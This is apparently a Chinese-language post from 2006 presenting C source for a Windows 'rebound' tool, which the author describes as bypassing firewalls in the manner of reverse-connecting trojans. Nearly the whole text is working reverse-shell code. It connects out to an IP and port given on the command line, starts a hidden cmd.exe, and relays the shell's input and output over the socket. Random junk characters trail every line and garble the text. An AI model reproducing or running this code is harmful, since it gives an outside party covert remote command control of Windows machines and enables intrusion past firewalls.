这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Z1sRLkR^
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/* ============================== =0mXTY1
Rebound port in Windows NT A"Sp7M[J
By wind,2006/7 R~N'5#.*M
===============================*/ 4$Ud4<
#include 2,e>gP\]
#include !DZ4C.
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#pragma comment(lib,"wsock32.lib") +W#["%kw
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void OutputShell(); .(X!*J]G
SOCKET sClient; 2PQY+[jx
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #p/'5lA&j
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void main(int argc,char **argv) 9}#9i^%}
{ "fWm{;
WSADATA stWsaData; 0s%]%2ON
int nRet; VCc57Bo
SOCKADDR_IN stSaiClient,stSaiServer; KJCi4O&
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if(argc != 3) v.{I^=
{ D~r{(u~Ya
printf("Useage:\n\rRebound DestIP DestPort\n"); "= >8UR
return; *FC26_pH
} EQ2HQz]
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WSAStartup(MAKEWORD(2,2),&stWsaData); O^<\]_l
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H;Cv]-
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stSaiClient.sin_family = AF_INET; 2br~Vn0N
stSaiClient.sin_port = htons(0); V<0J j
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); FXo{|z3
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) g <5G#
{ %nT &
printf("Bind Socket Failed!\n"); YA*E93 J0
return; 28=L9q
} >|_B=<!99W
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stSaiServer.sin_family = AF_INET; EV|L~^Q
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kd+tD!:F(
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y3!#*NU
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :B1a2Y^"
{ 7oFA5T _
printf("Connect Error!"); ah|`),o(k
return; X:d[eAu0
} Qm2(Z8Gh
OutputShell(); <hzuPi@
} A]AM|2 D
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void OutputShell() 06fs,!Q@
{ w$FN(BfA
char szBuff[1024]; >&l{_b\k
SECURITY_ATTRIBUTES stSecurityAttributes;
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OSVERSIONINFO stOsversionInfo; 0uO<7IW9
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ky0,#ZOF
STARTUPINFO stStartupInfo; of>}fJ_p
char *szShell; H'wh0K(
PROCESS_INFORMATION stProcessInformation; jWJ/gv~ $
unsigned long lBytesRead; u,),kj<
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); nQM7@"R
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); q($fl7}Y
stSecurityAttributes.lpSecurityDescriptor = 0; b@yFqgJ_
stSecurityAttributes.bInheritHandle = TRUE; 4!0nM|~
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); KSy.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Eumdv#Qg
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [nG[@)G~0M
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4{J'p19
stStartupInfo.wShowWindow = SW_HIDE; A3mS Sc6
stStartupInfo.hStdInput = hReadPipe; k80!!S=_>
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;P2(C >|
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GetVersionEx(&stOsversionInfo); ?8aPd"x
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switch(stOsversionInfo.dwPlatformId) u(P;) E"1
{ rBovC
case 1: <n|.Z-gF\
szShell = "command.com"; Q5pm^X._j
break; jN^09T49
default: ,Z p9,nf
szShell = "cmd.exe"; :R9 DJh\
break; /7-qb^V
} AlQ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @AAkEWo)_
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send(sClient,szMsg,77,0); Trwk9 +
while(1) MtIhpTX
{ W(&9S[2
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); rkC6-9V
if(lBytesRead) P
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{ AC9#!#
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); mB]Y;R<
send(sClient,szBuff,lBytesRead,0); \J?5Kl[*c
} 4E.K6=k|=a
else Il,^/qvIY
{ 5,1q%
lBytesRead=recv(sClient,szBuff,1024,0); @dp1bkU
if(lBytesRead<=0) break; qvhol
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +i.b&PF'H
} >!|(n@
} HOY9{>E}z
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return; Il9pL~u
}